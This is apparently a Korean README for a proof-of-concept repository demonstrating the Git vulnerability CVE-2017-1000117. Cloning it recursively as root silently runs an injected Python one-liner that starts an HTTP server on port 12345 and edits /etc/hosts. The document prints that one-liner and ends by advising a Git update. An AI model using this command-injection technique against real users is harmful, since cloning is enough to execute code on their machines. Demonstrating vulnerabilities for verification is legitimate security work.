
CVE-2017-1000117의 검증
이것은 CVE-2017-1000117 취약점으로 동작하는 것입니다.
이 레포지토리를 root 권한으로 git 명령에 --recurse 옵션을 붙여 클론하면,
자동으로 12345 포트에서 리슨하는 HTTP 서버가 실행됩니다.
HTTP 서버의 동작을 중지하려면 프로세스 번호를 확인하여 kill하세요.
CentOS7
macOS Sierra
Debian8
아래의 명령을 실행합니다. 완료되면 콘솔이 멈추므로 Ctrl + C로 빠져나오도록 합니다.
[root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git
1.PS 명령을 실행하여 Python 코드가 실행 중인지 확인합니다.
[root@localhost ~]$ ps ax | grep http
21365 pts/0 S 0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
21381 pts/0 S+ 0:00 grep --color=auto ht
2.netstat으로 12345 포트가 리슨 중인지 확인합니다.
[root@localhost ~]$ netstat -tanp | grep 12345
tcp 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 21365/python
macOS의 경우에는 다음 명령으로 확인합니다.
MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 14231 root 3u IPv4 0xa3955f2183c66251 0t0 TCP 127.0.0.1:12345 (LISTEN)
3./etc/hosts의 맨 아래 줄에 「127.0.0.1 호스트명」이 추가되어 있는지 확인합니다.
git을 최신 버전으로 업데이트합니다. 아래 링크를 참조하십시오.
GitHub 원격 리포지토리에서 최신 Git으로 업데이트하는 방법